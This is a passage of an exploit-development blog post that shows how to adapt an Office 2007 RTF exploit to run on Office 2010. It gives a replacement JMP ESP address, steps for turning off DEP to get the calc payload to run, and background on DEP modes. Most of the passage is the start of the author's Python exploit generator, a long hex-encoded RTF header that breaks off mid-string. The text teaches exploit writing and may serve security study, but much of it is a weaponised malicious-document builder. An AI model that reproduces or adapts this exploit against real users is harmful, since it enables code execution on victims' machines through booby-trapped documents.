So in the last post, we discussed how to insert your own payload by reversing a malware sample. Here, we are going to discuss how to execute an Office 2007 exploit on Office 2010.In order to complete this exercise, we will use the same exploit as in the last post, and by taking all the code from the last exploit, we will proceed ahead.



We will also have to bypass DEP (Data Execution Prevention) since in Office 2010, DEP is enabled by default. I hope you’re familiar with DEP, but if not, here’s a brief description:



“Data Execution Prevention (DEP) is a security feature included in modern operating systems. It is known to be available in Linux, Mac OS X, iOS, Microsoft Windows and Android operating systems and is intended to prevent an application or service from executing code from a non-executable memory region. This helps prevent certain exploits that store code via a buffer overflow.“



Anyway, don’t worry and don’t get confused. I will explain each and every line in detail so that by the end of this contribution, you will be well aware of how to run the exploit.



Keep one thing in mind though, that in order to run an Office 2007 exploit on Office 2010, you have to have first change JMP ESP address, which I have already included in my previous post. I don’t want to repost the code here to make this post unnecessarily lengthy. So first, let’s find the JMP ESP address in Office 2010.



I found the JMP ESP address in Office 2010 in Kernal32.dll and that is 7C86467B. Let’s write this address in the Office 2007 exploit sample, and we’ll see the address will be written in reverse order (Big and Little Endian representation).



<2f909378> is an address in an Office 2007 exploit.



Change it with JMP ESP of the Office 2010 DLL as explained above.



<Office 2010 JMP ESP address >



Let’s now try to run this exploit on Office 2010. Wow, what is this? We got an error message as shown in the following picture.



See, in Windows, we will get a Data Execution Prevention error. Ok, let’s do one thing for demo purposes. Let’s first disable DEP and see what happens. Will we see Calcpopped after disabling DEP? Yes, of course. So in order to disable DEP, do the following.



Start→ Run →cmd→cd\→notepad Boot.ini



Then change the value of noexecute to AlwaysOff in place of Optin.



Save and reboot the system, then double click on sample. If everything is fine, you will see Calcpopped.



Wow – it’s working fine!



Data Execution Prevention is on by default on XP SP2 onwards so first disabling DEP and then running the exploit is not a feasible solution. We did this just as a demo. Our main objective in this article is bypassing DEP. So now we will look at the mechanism to bypass DEP, but I think it’s time now to discuss DEP a bit more.



Hardware DEP takes advantage of the NX (“No Execute page protection,” AMD specification) or XD (“Execute Disable,” Intel specification) bit on DEP compatible CPUs, and will mark certain parts of the memory (which should only contain data, such as the default heap, stack, memory pools) as non-executable.



When an attempt is made to execute code from a DEP protected page, an access violation “STATUS_ACCESS_VIOLATION(0xc0000005)” will occur. In most cases, this will result in process termination (unhandled exception). So as a result, when a developer has decided that he wants to allow code to run from a certain memory page, he will have to allocate the memory and mark it as executable.



Support for hardware DEP was introduced in Windows XPSP2and Windows Server 2003 SP1. It’s now part of all versions of the Windows operating system ever since.



The way DEP manifests itself within the Windows OS is based on a setting which can be configured to one of the following values:



OptIn: Only a limited set of Windows system modules or binaries are protected by DEP.



OptOut: All programs, processes and services in the Windows system are protected, except for processes in execution. AlwaysOn: All programs, processes, services, etc on the Windows system are protected. No execution is allowed.



AlwaysOff: DEP is turned off.



Ok, we will discuss later how to bypass DEP, but for now, you may be curious about the actual code of the exploit, where Calcis popped I don’t want to make this post too long but to make you understand better, I have to have write the complete code for it:



importdatetime importos header = ("\x7B\x5C\x72\x74\x66\x31\x5C\x61\x64\x65\x66\x6C\x61\x6E\x67\x31" "\x30\x32\x35\x5C\x61\x6E\x73\x69\x5C\x61\x6E\x73\x69\x63\x70\x67" "\x39\x33\x36\x5C\x75\x63\x32\x5C\x61\x64\x65\x66\x66\x30\x5C\x64" "\x65\x66\x66\x30\x5C\x73\x74\x73\x68\x66\x64\x62\x63\x68\x31\x33" "\x5C\x73\x74\x73\x68\x66\x6C\x6F\x63\x68\x30\x5C\x73\x74\x73\x68" "\x66\x68\x69\x63\x68\x30\x5C\x73\x74\x73\x68\x66\x62\x69\x30\x5C" "\x64\x65\x66\x6C\x61\x6E\x67\x31\x30\x33\x33\x5C\x64\x65\x66\x6C" "\x61\x6E\x67\x66\x65\x32\x30\x35\x32\x7B\x5C\x66\x6F\x6E\x74\x74" "\x62\x6C\x7B\x5C\x66\x30\x5C\x66\x72\x6F\x6D\x61\x6E\x5C\x66\x63" "\x68\x61\x72\x73\x65\x74\x30\x5C\x66\x70\x72\x71\x32\x7B\x5C\x2A" "\x5C\x70\x61\x6E\x6F\x73\x65\x20\x30\x32\x30\x32\x30\x36\x30\x33" "\x30\x35\x30\x34\x30\x35\x30\x32\x30\x33\x30\x34\x7D\x54\x69\x6D" "\x65\x73\x20\x4E\x65\x77\x20\x52\x6F\x6D\x61\x6E\x3B\x7D\x7B\x5C" "\x66\x31\x33\x5C\x66\x6E\x69\x6C\x5C\x66\x63\x68\x61\x72\x73\x65" "\x74\x31\x33\x34\x5C\x66\x70\x72\x71\x32\x7B\x5C\x2A\x5C\x70\x61" "\x6E\x6F\x73\x65\x20\x30\x32\x30\x31\x30\x36\x30\x30\x30\x33\x30" "\x31\x30\x31\x30\x31\x30\x31\x30\x31\x7D\x5C\x27\x63\x62\x5C\x27" "\x63\x65\x5C\x27\x63\x63\x5C\x27\x65\x35\x7B\x5C\x2A\x5C\x66\x61" "\x6C\x74\x20\x53\x69\x6D\x53\x75\x6E\x7D\x3B\x7D\x0D\x0A\x7B\x5C" "\x66\x33\x36\x5C\x66\x6E\x69\x6C\x5C\x66\x63\x68\x61\x72\x73\x65" "\x74\x31\x33\x34\x5C\x66\x70\x72\x71\x32\x7B\x5C\x2A\x5C\x70\x61" "\x6E\x6F\x73\x65\x20\x30\x32\x30\x31\x30\x36\x30\x30\x30\x33\x30" "\x31\x30\x31\x30\x31\x30\x31\x30\x31\x7D\x40\x5C\x27\x63\x62\x5C" "\x27\x63\x65\x5C\x27\x63\x63\x5C\x27\x65\x35\x3B\x7D\x7B\x5C\x66" "\x33\x37\x5C\x66\x72\x6F\x6D\x61\x6E\x5C\x66\x63\x68\x61\x72\x73" "\x65\x74\x32\x33\x38\x5C\x66\x70\x72\x71\x32\x20\x54\x69\x6D\x65" "\x73\x20\x4E\x65\x77\x20\x52\x6F\x6D\x61\x6E\x20\x43\x45\x3B\x7D" "\x7B\x5C\x66\x33\x38\x5C\x66\x72\x6F\x6D\x61\x6E\x5C\x66\x63\x68" "\x61\x72\x73\x65\x74\x32\x30\x34\x5C\x66\x70\x72\x71\x32\x20\x54" "\x69\x6D\x65\x73\x20\x4E\x65\x77\x20\x52\x6F\x6D\x61\x6E\x20\x43" "\x79\x72\x3B\x7D\x7B\x5C\x66\x34\x30\x5C\x66\x72\x6F\x6D\x61\x6E" "\x5C\x66\x63\x68\x61\x72\x73\x65\x74\x31\x36\x31\x5C\x66\x70\x72" "\x71\x32\x20\x54\x69\x6D\x65\x73\x20\x4E\x65\x77\x20\x52\x6F\x6D" "\x61\x6E\x20\x47\x72\x65\x65\x6B\x3B\x7D\x0D\x0A\x7B\x5C\x66\x34" "\x31\x5C\x66\x72\x6F\x6D\x61\x6E\x5C\x66\x63\x68\x61\x72\x73\x65" "\x74\x31\x36\x32\x5C\x66\x70\x72\x71\x32\x20\x54\x69\x6D\x65\x73" "\x20\x4E\x65\x77\x20\x52\x6F\x6D\x61\x6E\x20\x54\x75\x72\x3B\x7D" "\x7B\x5C\x66\x34\x32\x5C\x66\x62\x69\x64\x69\x20\x5C\x66\x72\x6F" "\x6D\x61\x6E\x5C\x66\x63\x68\x61\x72\x73\x65\x74\x31\x37\x37\x5C" "\x66\x70\x72\x71\x32\x20\x54\x69\x6D\x65\x73\x20\x4E\x65\x77\x20" "\x52\x6F\x6D\x61\x6E\x20\x28\x48\x65\x62\x72\x65\x77\x29\x3B\x7D" "\x7B\x5C\x66\x34\x33\x5C\x66\x62\x69\x64\x69\x20\x5C\x66\x72\x6F" "\x6D\x61\x6E\x5C\x66\x63\x68\x61\x72\x73\x65\x74\x31\x37\x38\x5C" "\x66\x70\x72\x71\x32\x20\x54\x69\x6D\x65\x73\x20\x4E\x65\x77\x20" "\x52\x6F\x6D\x61\x6E\x20\x28\x41\x72\x61\x62\x69\x63\x29\x3B\x7D" "\x7B\x5C\x66\x34\x34\x5C\x66\x72\x6F\x6D\x61\x6E\x5C\x66\x63\x68" "\x61\x72\x73\x65\x74\x31\x38\x36\x5C\x66\x70\x72\x71\x32\x20\x54" "\x69\x6D\x65\x73\x20\x4E\x65\x77\x20\x52\x6F\x6D\x61\x6E\x20\x42" "\x61\x6C\x74\x69\x63\x3B\x7D\x0D\x0A\x7B\x5C\x66\x34\x35\x5C\x66" "\x72\x6F\x6D\x61\x6E\x5C\x66\x63\x68\x61\x72\x73\x65\x74\x31\x36" "\x33\x5C\x66\x70\x72\x71\x32\x20\x54\x69\x6D\x65\x73\x20\x4E\x65" "\x77\x20\x52\x6F\x6D\x61\x6E\x20\x28\x56\x69\x65\x74\x6E\x61\x6D" "\x65\x73\x65\x29\x3B\x7D\x7B\x5C\x66\x31\x36\x39\x5C\x66\x6E\x69" "\x6C\x5C\x66\x63\x68\x61\x72\x73\x65\x74\x30\x5C\x66\x70\x72\x71" "\x32\x20\x53\x69\x6D\x53\x75\x6E\x20\x57\x65\x73\x74\x65\x72\x6E" "\x7B\x5C\x2A\x5C\x66\x61\x6C\x74\x20\x53\x69\x6D\x53\x75\x6E\x7D" "\x3B\x7D\x7B\x5C\x66\x33\x39\x39\x5C\x66\x6E\x69\x6C\x5C\x66\x63" "\x68\x61\x72\x73\x65\x74\x30\x5C\x66\x70\x72\x71\x32\x20\x40\x5C" "\x27\x63\x62\x5C\x27\x63\x65\x5C\x27\x63\x63\x5C\x27\x65\x35\x20" "\x57\x65\x73\x74\x65\x72\x6E\x3B\x7D\x7D\x7B\x5C\x63\x6F\x6C\x6F" "\x72\x74\x62\x6C\x3B\x5C\x72\x65\x64\x30\x5C\x67\x72\x65\x65\x6E" "\x30\x5C\x62\x6C\x75\x65\x30\x3B\x5C\x72\x65\x64\x30\x5C\x67\x72" "\x65\x65\x6E\x30\x5C\x62\x6C\x75\x65\x32\x35\x35\x3B\x5C\x72\x65" "\x64\x30\x5C\x67\x72\x65\x65\x6E\x32\x35\x35\x5C\x62\x6C\x75\x65" "\x32\x35\x35\x3B\x0D\x0A\x5C\x72\x65\x64\x30\x5C\x67\x72\x65\x65" "\x6E\x32\x35\x35\x5C\x62\x6C\x75\x65\x30\x3B\x5C\x72\x65\x64\x32" "\x35\x35\x5C\x67\x72\x65\x65\x6E\x30\x5C\x62\x6C\x75\x65\x32\x35" "\x35\x3B\x5C\x72\x65\x64\x32\x35\x35\x5C\x67\x72\x65\x65\x6E\x30" "\x5C\x62\x6C\x75\x65\x30\x3B\x5C\x72\x65\x64\x32\x35\x35\x5C\x67" "\x72\x65\x65\x6E\x32\x35\x35\x5C\x62\x6C\x75\x65\x30\x3B\x5C\x72" "\x65\x64\x32\x35\x35\x5C\x67\x72\x65\x65\x6E\x32\x35\x35\x5C\x62" "\x6C\x75\x65\x32\x35\x35\x3B\x5C\x72\x65\x64\x30\x5C\x67\x72\x65" "\x65\x6E\x30\x5C\x62\x6C\x75\x65\x31\x32\x38\x3B\x5C\x72\x65\x64" "\x30\x5C\x67\x72\x65\x65\x6E\x31\x32\x38\x5C\x62\x6C\x75\x65\x31" "\x32\x38\x3B\x5C\x72\x65\x64\x30\x5C\x67\x72\x65\x65\x6E\x31\x32" "\x38\x5C\x62\x6C\x75\x65\x30\x3B\x5C\x72\x65\x64\x31\x32\x38\x5C" "\x67\x72\x65\x65\x6E\x30\x5C\x62\x6C\x75\x65\x31\x32\x38\x3B\x5C" "\x72\x65\x64\x31\x32\x38\x5C\x67\x72\x65\x65\x6E\x30\x5C\x62\x6C" "\x75\x65\x30\x3B\x5C\x72\x65\x64\x31\x32\x38\x5C\x67\x72\x65\x65" "\x6E\x31\x32\x38\x5C\x62\x6C\x75\x65\x30\x3B\x0D\x0A\x5C\x72\x65" "\x64\x31\x32\x38\x5C\x67\x72\x65\x65\x6E\x31\x32\x38\x5C\x62\x6C" "\x75\x65\x31\x32\x38\x3B\x5C\x72\x65\x64\x31\x39\x32\x5C\x67\x72" "\x65\x65\x6E\x31\x39\x32\x5C\x62\x6C\x75\x65\x31\x39\x32\x3B\x7D" "\x7B\x5C\x73\x74\x79\x6C\x65\x73\x68\x65\x65\x74\x7B\x5C\x71\x6A" "\x20\x5C\x6C\x69\x30\x5C\x72\x69\x30\x5C\x6E\x6F\x77\x69\x64\x63" "\x74\x6C\x70\x61\x72\x5C\x77\x72\x61\x70\x64\x65\x66\x61\x75\x6C" "\x74\x5C\x61\x73\x70\x61\x6C\x70\x68\x61\x5C\x61\x73\x70\x6E\x75" "\x6D\x5C\x66\x61\x61\x75\x74\x6F\x5C\x61\x64\x6A\x75\x73\x74\x72" "\x69\x67\x68\x74\x5C\x72\x69\x6E\x30\x5C\x6C\x69\x6E\x30\x5C\x69" "\x74\x61\x70\x30\x20\x5C\x72\x74\x6C\x63\x68\x5C\x66\x63\x73\x31" "\x20\x5C\x61\x66\x30\x5C\x61\x66\x73\x32\x34\x5C\x61\x6C\x61\x6E" "\x67\x31\x30\x32\x35\x20\x5C\x6C\x74\x72\x63\x68\x5C\x66\x63\x73" "\x30\x20\x0D\x0A\x5C\x66\x73\x32\x31\x5C\x6C\x61\x6E\x67\x31\x30" "\x33\x33\x5C\x6C\x61\x6E\x67\x66\x65\x32\x30\x35\x32\x5C\x6B\x65" "\x72\x6E\x69\x6E\x67\x32\x5C\x6C\x6F\x63\x68\x5C\x66\x30\x5C\x68" "\x69\x63\x68\x5C\x61\x66\x30\x5C\x64\x62\x63\x68\x5C\x61\x66\x31" "\x33\x5C\x63\x67\x72\x69\x64\x5C\x6C\x61\x6E\x67\x6E\x70\x31\x30" "\x33\x33\x5C\x6C\x61\x6E\x67\x66\x65\x6E\x70\x32\x30\x35\x32\x20" "\x5C\x73\x6E\x65\x78\x74\x30\x20\x4E\x6F\x72\x6D\x61\x6C\x3B\x7D" "\x7B\x5C\x2A\x5C\x63\x73\x31\x30\x20\x5C\x61\x64\x64\x69\x74\x69" "\x76\x65\x20\x5C\x73\x73\x65\x6D\x69\x68\x69\x64\x64\x65\x6E\x20" "\x44\x65\x66\x61\x75\x6C\x74\x20\x50\x61\x72\x61\x67\x72\x61\x70" "\x68\x20\x46\x6F\x6E\x74\x3B\x7D\x7B\x5C\x2A\x0D\x0A\x5C\x74\x73" "\x31\x31\x5C\x74\x73\x72\x6F\x77\x64\x5C\x74\x72\x66\x74\x73\x57" "\x69\x64\x74\x68\x42\x33\x5C\x74\x72\x70\x61\x64\x64\x6C\x31\x30" "\x38\x5C\x74\x72\x70\x61\x64\x64\x72\x31\x30\x38\x5C\x74\x72\x70" "\x61\x64\x64\x66\x6C\x33\x5C\x74\x72\x70\x61\x64\x64\x66\x74\x33" "\x5C\x74\x72\x70\x61\x64\x64\x66\x62\x33\x5C\x74\x72\x70\x61\x64" "\x64\x66\x72\x33\x5C\x74\x72\x63\x62\x70\x61\x74\x31\x5C\x74\x72" "\x63\x66\x70\x61\x74\x31\x5C\x74\x62\x6C\x69\x6E\x64\x30\x5C\x74" "\x62\x6C\x69\x6E\x64\x74\x79\x70\x65\x33\x5C\x74\x73\x63\x65\x6C" "\x6C\x77\x69\x64\x74\x68\x66\x74\x73\x30\x5C\x74\x73\x76\x65\x72" "\x74\x61\x6C\x74\x5C\x74\x73\x62\x72\x64\x72\x74\x5C\x74\x73\x62" "\x72\x64\x72\x6C\x5C\x74\x73\x62\x72\x64\x72\x62\x5C\x74\x73\x62" "\x72\x64\x72\x72\x5C\x74\x73\x62\x72\x64\x72\x64\x67\x6C\x5C\x74" "\x73\x62\x72\x64\x72\x64\x67\x72\x5C\x74\x73\x62\x72\x64\x72\x68" "\x5C\x74\x73\x62\x72\x64\x72\x76\x20\x0D\x0A\x5C\x71\x6C\x20\x5C" "\x6C\x69\x30\x5C\x72\x69\x30\x5C\x77\x69\x64\x63\x74\x6C\x70\x61" "\x72\x5C\x77\x72\x61\x70\x64\x65\x66\x61\x75\x6C\x74\x5C\x61\x73" "\x70\x61\x6C\x70\x68\x61\x5C\x61\x73\x70\x6E\x75\x6D\x5C\x66\x61" "\x61\x75\x74\x6F\x5C\x61\x64\x6A\x75\x73\x74\x72\x69\x67\x68\x74" "\x5C\x72\x69\x6E\x30\x5C\x6C\x69\x6E\x30\x5C\x69\x74\x61\x70\x30" "\x20\x5C\x72\x74\x6C\x63\x68\x5C\x66\x63\x73\x31\x20\x5C\x61\x66" "\x30\x5C\x61\x66\x73\x32\x30\x20\x5C\x6C\x74\x72\x63\x68\x5C\x66" "\x63\x73\x30\x20\x5C\x66\x73\x32\x30\x5C\x6C\x61\x6E\x67\x31\x30" "\x32\x34\x5C\x6C\x61\x6E\x67\x66\x65\x31\x30\x32\x34\x5C\x6C\x6F" "\x63\x68\x5C\x66\x30\x5C\x68\x69\x63\x68\x5C\x61\x66\x30\x5C\x64" "\x62\x63\x68\x5C\x61\x66\x31\x33\x5C\x63\x67\x72\x69\x64\x5C\x6C" "\x61\x6E\x67\x6E\x70\x31\x30\x32\x34\x5C\x6C\x61\x6E\x67\x66\x65" "\x6E\x70\x31\x30\x32\x34\x20\x5C\x73\x6E\x65\x78\x74\x31\x31\x20" "\x5C\x73\x73\x65\x6D\x69\x68\x69\x64\x64\x65\x6E\x20\x4E\x6F\x72" "\x6D\x61\x6C\x20\x54\x61\x62\x6C\x65\x3B\x7D\x7D\x0D\x0A\x7B\x5C" "\x2A\x5C\x6C\x61\x74\x65\x6E\x74\x73\x74\x79\x6C\x65\x73\x5C\x6C" "\x73\x64\x73\x74\x69\x6D\x61\x78\x31\x35\x36\x5C\x6C\x73\x64\x6C" "\x6F\x63\x6B\x65\x64\x64\x65\x66\x30\x7D\x7B\x5C\x2A\x5C\x72\x73" "\x69\x64\x74\x62\x6C\x20\x5C\x72\x73\x69\x64\x31\x35\x38\x30\x37" "\x35\x31\x39\x7D\x7B\x5C\x2A\x5C\x67\x65\x6E\x65\x72\x61\x74\x6F" "\x72\x20\x4D\x69\x63\x72\x6F\x73\x6F\x66\x74\x20\x57\x6F\x72\x64" "\x20\x31\x31\x2E\x30\x2E\x30\x30\x30\x30\x3B\x7D\x7B\x5C\x69\x6E" "\x66\x6F\x7B\x5C\x74\x69\x74\x6C\x65\x20\x46\x66\x66\x66\x66\x66" "\x66\x66\x66\x7D\x7B\x5C\x61\x75\x74\x68\x6F\x72\x20\x55\x53\x45" "\x52\x7D\x7B\x5C\x6F\x70\x65\x72\x61\x74\x6F\x72\x20\x55\x53\x45" "\x52\x7D\x7B\x5C\x63\x72\x65\x61\x74\x69\x6D\x5C\x79\x72\x32\x30" "\x31\x31\x5C\x6D\x6F\x34\x5C\x64\x79\x31\x32\x5C\x68\x72\x31\x34" "\x5C\x6D\x69\x6E\x35\x30\x7D\x7B\x5C\x72\x65\x76\x74\x69\x6D\x5C" "\x79\x72\x32\x30\x31\x31\x5C\x6D\x6F\x34\x5C\x64\x79\x31\x32\x5C" "\x68\x72\x31\x34\x5C\x6D\x69\x6E\x35\x31\x7D\x7B\x5C\x76\x65\x72" "\x73\x69\x6F\x6E\x31\x7D\x0D\x0A\x7B\x5C\x65\x64\x6D\x69\x6E\x73" "\x31\x7D\x7B\x5C\x6E\x6F\x66\x70\x61\x67\x65\x73\x31\x7D\x7B\x5C" "\x6E\x6F\x66\x77\x6F\x72\x64\x73\x31\x7D\x7B\x5C\x6E\x6F\x66\x63" "\x68\x61\x72\x73\x39\x7D\x7B\x5C\x2A\x5C\x63\x6F\x6D\x70\x61\x6E" "\x79\x20\x43\x48\x49\x4E\x41\x7D\x7B\x5C\x6E\x6F\x66\x63\x68\x61" "\x72\x73\x77\x73\x39\x7D\x7B\x5C\x76\x65\x72\x6E\x32\x34\x36\x31" "\x33\x7D\x7B\x5C\x2A\x5C\x70\x61\x73\x73\x77\x6F\x72\x64\x20\x30" "\x30\x30\x30\x30\x30\x30\x30\x7D\x7D\x7B\x5C\x2A\x5C\x78\x6D\x6C" "\x6E\x73\x74\x62\x6C\x20\x7B\x5C\x78\x6D\x6C\x6E\x73\x31\x20\x68" "\x74\x74\x70\x3A\x2F\x2F\x73\x63\x68\x65\x6D\x61\x73\x2E\x6D\x69" "\x63\x72\x6F\x73\x6F\x66\x74\x2E\x63\x6F\x6D\x2F\x6F\x66\x66\x69" "\x63\x65\x2F\x77\x6F\x72\x64\x2F\x32\x30\x30\x33\x2F\x77\x6F\x72" "\x64\x6D\x6C\x7D\x7D\x0D\x0A\x5C\x70\x61\x70\x65\x72\x77\x31\x31" "\x39\x30\x36\x5C\x70\x61\x70\x65\x72\x68\x31\x36\x38\x33\x38\x5C" "\x6D\x61\x72\x67\x6C\x31\x38\x30\x30\x5C\x6D\x61\x72\x67\x72\x31" "\x38\x30\x30\x5C\x6D\x61\x72\x67\x74\x31\x34\x34\x30\x5C\x6D\x61" "\x72\x67\x62\x31\x34\x34\x30\x5C\x67\x75\x74\x74\x65\x72\x30\x5C" "\x6C\x74\x72\x73\x65\x63\x74\x20\x0D\x0A\x5C\x64\x65\x66\x74\x61" "\x62\x34\x32\x30\x5C\x66\x74\x6E\x62\x6A\x5C\x61\x65\x6E\x64\x64" "\x6F\x63\x5C\x64\x6F\x6E\x6F\x74\x65\x6D\x62\x65\x64\x73\x79\x73" "\x66\x6F\x6E\x74\x31\x5C\x64\x6F\x6E\x6F\x74\x65\x6D\x62\x65\x64" "\x6C\x69\x6E\x67\x64\x61\x74\x61\x30\x5C\x67\x72\x66\x64\x6F\x63" "\x65\x76\x65\x6E\x74\x73\x30\x5C\x76\x61\x6C\x69\x64\x61\x74\x65" "\x78\x6D\x6C\x31\x5C\x73\x68\x6F\x77\x70\x6C\x61\x63\x65\x68\x6F" "\x6C\x64\x74\x65\x78\x74\x30\x5C\x69\x67\x6E\x6F\x72\x65\x6D\x69" "\x78\x65\x64\x63\x6F\x6E\x74\x65\x6E\x74\x30\x5C\x73\x61\x76\x65" "\x69\x6E\x76\x61\x6C\x69\x64\x78\x6D\x6C\x30\x5C\x73\x68\x6F\x77" "\x78\x6D\x6C\x65\x72\x72\x6F\x72\x73\x31\x5C\x66\x6F\x72\x6D\x73" "\x68\x61\x64\x65\x5C\x68\x6F\x72\x7A\x64\x6F\x63\x5C\x64\x67\x6D" "\x61\x72\x67\x69\x6E\x5C\x64\x67\x68\x73\x70\x61\x63\x65\x31\x38" "\x30\x5C\x64\x67\x76\x73\x70\x61\x63\x65\x31\x35\x36\x5C\x64\x67" "\x68\x6F\x72\x69\x67\x69\x6E\x31\x38\x30\x30\x5C\x64\x67\x76\x6F" "\x72\x69\x67\x69\x6E\x31\x34\x34\x30\x5C\x64\x67\x68\x73\x68\x6F" "\x77\x30\x0D\x0A\x5C\x64\x67\x76\x73\x68\x6F\x77\x32\x5C\x6A\x63" "\x6F\x6D\x70\x72\x65\x73\x73\x5C\x6C\x6E\x6F\x6E\x67\x72\x69\x64" "\x5C\x76\x69\x65\x77\x6B\x69\x6E\x64\x31\x5C\x76\x69\x65\x77\x73" "\x63\x61\x6C\x65\x31\x30\x30\x5C\x73\x70\x6C\x79\x74\x77\x6E\x69" "\x6E\x65\x5C\x66\x74\x6E\x6C\x79\x74\x77\x6E\x69\x6E\x65\x5C\x68" "\x74\x6D\x61\x75\x74\x73\x70\x5C\x75\x73\x65\x6C\x74\x62\x61\x6C" "\x6E\x5C\x61\x6C\x6E\x74\x62\x6C\x69\x6E\x64\x5C\x6C\x79\x74\x63" "\x61\x6C\x63\x74\x62\x6C\x77\x64\x5C\x6C\x79\x74\x74\x62\x6C\x72" "\x74\x67\x72\x5C\x6C\x6E\x62\x72\x6B\x72\x75\x6C\x65\x5C\x6E\x6F" "\x62\x72\x6B\x77\x72\x70\x74\x62\x6C\x5C\x76\x69\x65\x77\x6E\x6F" "\x62\x6F\x75\x6E\x64\x31\x5C\x73\x6E\x61\x70\x74\x6F\x67\x72\x69" "\x64\x69\x6E\x63\x65\x6C\x6C\x5C\x61\x6C\x6C\x6F\x77\x66\x69\x65" "\x6C\x64\x65\x6E\x64\x73\x65\x6C\x5C\x77\x72\x70\x70\x75\x6E\x63" "\x74\x5C\x61\x73\x69\x61\x6E\x62\x72\x6B\x72\x75\x6C\x65\x5C\x72" "\x73\x69\x64\x72\x6F\x6F\x74\x31\x35\x38\x30\x37\x35\x31\x39\x0D" "\x0A\x5C\x6E\x65\x77\x74\x62\x6C\x73\x74\x79\x72\x75\x6C\x73\x5C" "\x6E\x6F\x67\x72\x6F\x77\x61\x75\x74\x6F\x66\x69\x74\x20\x7B\x5C" "\x2A\x5C\x66\x63\x68\x61\x72\x73\x20\x0D\x0A\x21\x29\x2C\x2E\x3A" "\x5C\x27\x33\x62\x3F\x5D\x5C\x27\x37\x64\x5C\x27\x61\x31\x5C\x27" "\x61\x37\x5C\x27\x61\x31\x5C\x27\x61\x34\x5C\x27\x61\x31\x5C\x27" "\x61\x36\x5C\x27\x61\x31\x5C\x27\x61\x35\x5C\x27\x61\x38\x5C\x27" "\x34\x34\x5C\x27\x61\x31\x5C\x27\x61\x63\x5C\x27\x61\x31\x5C\x27" "\x61\x66\x5C\x27\x61\x31\x5C\x27\x62\x31\x5C\x27\x61\x31\x5C\x27" "\x61\x64\x5C\x27\x61\x31\x5C\x27\x63\x33\x5C\x27\x61\x31\x5C\x27" "\x61\x32\x5C\x27\x61\x31\x5C\x27\x61\x33\x5C\x27\x61\x31\x5C\x27" "\x61\x38\x5C\x27\x61\x31\x5C\x27\x61\x39\x5C\x27\x61\x31\x5C\x27" "\x62\x35\x5C\x27\x61\x31\x5C\x27\x62\x37\x5C\x27\x61\x31\x5C\x27" "\x62\x39\x5C\x27\x61\x31\x5C\x27\x62\x62\x5C\x27\x61\x31\x5C\x27" "\x62\x66\x5C\x27\x61\x31\x5C\x27\x62\x33\x5C\x27\x61\x31\x5C\x27" "\x62\x64\x5C\x27\x61\x33\x5C\x27\x61\x31\x5C\x27\x61\x33\x5C\x27" "\x61\x32\x5C\x27\x61\x33\x5C\x27\x61\x37\x5C\x27\x61\x33\x5C\x27" "\x61\x39\x5C\x27\x61\x33\x5C\x27\x61\x63\x5C\x27\x61\x33\x5C\x27" "\x61\x65\x5C\x27\x61\x33\x5C\x27\x62\x61\x5C\x27\x61\x33\x5C\x27" "\x62\x62\x5C\x27\x61\x33\x5C\x27\x62\x66\x5C\x27\x61\x33\x5C\x27" "\x64\x64\x5C\x27\x61\x33\x5C\x27\x65\x30\x5C\x27\x61\x33\x5C\x27" "\x66\x63\x5C\x27\x61\x33\x5C\x27\x66\x64\x5C\x27\x61\x31\x5C\x27" "\x61\x62\x5C\x27\x61\x31\x5C\x27\x65\x39\x0D\x0A\x7D\x7B\x5C\x2A" "\x5C\x6C\x63\x68\x61\x72\x73\x20\x28\x5B\x5C\x27\x37\x62\x5C\x27" "\x61\x31\x5C\x27\x61\x34\x5C\x27\x61\x31\x5C\x27\x61\x65\x5C\x27" "\x61\x31\x5C\x27\x62\x30\x5C\x27\x61\x31\x5C\x27\x62\x34\x5C\x27" "\x61\x31\x5C\x27\x62\x36\x5C\x27\x61\x31\x5C\x27\x62\x38\x5C\x27" "\x61\x31\x5C\x27\x62\x61\x5C\x27\x61\x31\x5C\x27\x62\x65\x5C\x27" "\x61\x31\x5C\x27\x62\x32\x5C\x27\x61\x31\x5C\x27\x62\x63\x5C\x27" "\x61\x33\x5C\x27\x61\x38\x5C\x27\x61\x33\x5C\x27\x61\x65\x5C\x27" "\x61\x33\x5C\x27\x64\x62\x5C\x27\x61\x33\x5C\x27\x66\x62\x5C\x27" "\x61\x31\x5C\x27\x65\x61\x5C\x27\x61\x33\x5C\x27\x61\x34\x7D\x5C" "\x66\x65\x74\x30\x7B\x5C\x2A\x5C\x77\x67\x72\x66\x66\x6D\x74\x66" "\x69\x6C\x74\x65\x72\x20\x30\x31\x33\x66\x7D\x5C\x69\x6C\x66\x6F" "\x6D\x61\x63\x61\x74\x63\x6C\x6E\x75\x70\x30\x5C\x6C\x74\x72\x70" "\x61\x72\x20\x5C\x73\x65\x63\x74\x64\x20\x5C\x6C\x74\x72\x73\x65" "\x63\x74\x0D\x0A\x5C\x6C\x69\x6E\x65\x78\x30\x5C\x68\x65\x61\x64" "\x65\x72\x79\x38\x35\x31\x5C\x66\x6F\x6F\x74\x65\x72\x79\x39\x39" "\x32\x5C\x63\x6F\x6C\x73\x78\x34\x32\x35\x5C\x65\x6E\x64\x6E\x68" "\x65\x72\x65\x5C\x73\x65\x63\x74\x6C\x69\x6E\x65\x67\x72\x69\x64" "\x33\x31\x32\x5C\x73\x65\x63\x74\x73\x70\x65\x63\x69\x66\x79\x6C" "\x5C\x73\x66\x74\x6E\x62\x6A\x20\x7B\x5C\x2A\x5C\x70\x6E\x73\x65" "\x63\x6C\x76\x6C\x31\x5C\x70\x6E\x75\x63\x72\x6D\x5C\x70\x6E\x73" "\x74\x61\x72\x74\x31\x5C\x70\x6E\x69\x6E\x64\x65\x6E\x74\x37\x32" "\x30\x5C\x70\x6E\x68\x61\x6E\x67\x20\x7B\x5C\x70\x6E\x74\x78\x74" "\x61\x20\x5C\x64\x62\x63\x68\x20\x2E\x7D\x7D\x7B\x5C\x2A\x5C\x70" "\x6E\x73\x65\x63\x6C\x76\x6C\x32\x5C\x70\x6E\x75\x63\x6C\x74\x72" "\x5C\x70\x6E\x73\x74\x61\x72\x74\x31\x5C\x70\x6E\x69\x6E\x64\x65" "\x6E\x74\x37\x32\x30\x5C\x70\x6E\x68\x61\x6E\x67\x20\x7B\x5C\x70" "\x6E\x74\x78\x74\x61\x20\x5C\x64\x62\x63\x68\x20\x2E\x7D\x7D\x7B" "\x5C\x2A\x5C\x70\x6E\x73\x65\x63\x6C\x76\x6C\x33\x0D\x0A\x5C\x70" "\x6E\x64\x65\x63\x5C\x70\x6E\x73\x74\x61\x72\x74\x31\x5C\x70\x6E" 